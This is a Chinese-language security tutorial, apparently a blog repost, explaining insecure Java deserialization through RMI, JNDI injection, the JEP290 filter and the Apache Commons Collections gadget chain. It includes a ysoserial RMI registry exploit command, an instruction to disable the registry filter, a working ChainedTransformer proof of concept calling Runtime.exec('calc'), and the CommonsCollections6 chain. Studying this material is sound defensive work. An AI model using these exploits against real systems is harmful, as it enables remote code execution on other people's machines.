不安全的反序列化
作者:互联网
反序列化拓展
RMI
Java远程方法调用,即Java RMI (Java Remote Method Invocation),即允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。这两个虚拟机可以运行在相同计算机上的不同进程中,也可以运行在网络上的不同计算机中。在网络传输的过程中,RMI中的对象是通过序列化方式进行编码传输的。这意味着,RMI在接收到经过序列化编码的对象后会进行反序列化。
ps:实验要修改\jdk1.8.0_191\jre\lib\security\java.security文件
#sun.rmi.registry.registryFilter=\
sun.rmi.registry.registryFilter=*
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1088 CommonsCollections5 "calc"
JNDI
JNDI (Java Naming and Directory Interface) 是一组应用程序接口,目的是方便查找远程或是本地对象。典型的应用场景是配置数据源,除此之外,JNDI还可以访问现有的目录和服务,例如:LDAP、RMI、CORBA、DNS、NDS、NIS。
当程序通过JNDI获取外部远程对象过程中,程序被控制访问恶意的服务地址(例如:指向恶意的RMI服务地址),并加载和实例化恶意对象时,将会造成JNDI注入。JNDI注入利用过程如下。
- 当客户端程序中调用了InitialContext.lookup(url),且url可被输入控制,指向精心构造好的RMI服务地址。
- 恶意的RMI服务会向受攻击的客户端返回一个Reference,用于获取恶意的Factory类。
- 当客户端执行lookup()时,会对恶意的Factory类进行加载并实例化,通过factory.getObjectInstance()获取外部远程对象实例。
- 攻击者在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码,达到远程代码执行的效果。
JEP290
JEP290是官方发布的用于缓解反序列化漏洞的措施,从8u121,7u13,6u141版本开始,JDK为RMI注册表和RMI分布式垃圾收集器内置了过滤器,只允许特定的类进行反序列化。
Apache Commons Collections反序列化漏洞
org/apache/commons/collections/functors/InvokerTransformer#transform中存在一段利用反射技术执行任意Java代码的代码,如下所示,当input变量可控时,可以通过反射执行任意类的任意方法。transform方法的关键代码如下:
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
}
\\省略
}
}
因此Runtime对象不可被序列化,所以在反序列化的利用场景中无法直接控制input为Runtime对象。
在org/apache/commons/collections/functors/ChainedTransformer#transform中,通过遍历this.iTransformers来调用数组中每一个对象的transform方法。结合上面的代码,可以构造出链式调用Runtime.getRuntime().exec(“calc”),此时便成功向系统注入了一个Runtime对象,完成了任意代码执行,这便是Commons Collection反序列化漏洞的核心。
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
public Object transform(Object input) {
return this.iConstant;
}
利用ChainedTransformer执行系统命令PoC的源码如下:
public static void main(String[] args){
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(null);
}
ConstantTransformer
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
有了能够执行任意代码的利用点,还需要一个反序列化的触发点,也就是调用某个类的readObject方法。当某个类的readObject方法可以通过一定的代码逻辑到达漏洞的利用点时,就可以利用它进行漏洞的触发。根据readObjet所属类的不同和中间逻辑代码的不同,Commons Collection3.1版本反序列化漏洞存在若干版本的利用链。ysoserial反序列化利用工具中提供了几种利用方式。
CommonsCollections6的利用链:
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
标签:RMI,java,Object,transform,安全,new,序列化 来源: https://www.cnblogs.com/safe-hacker/p/16536328.html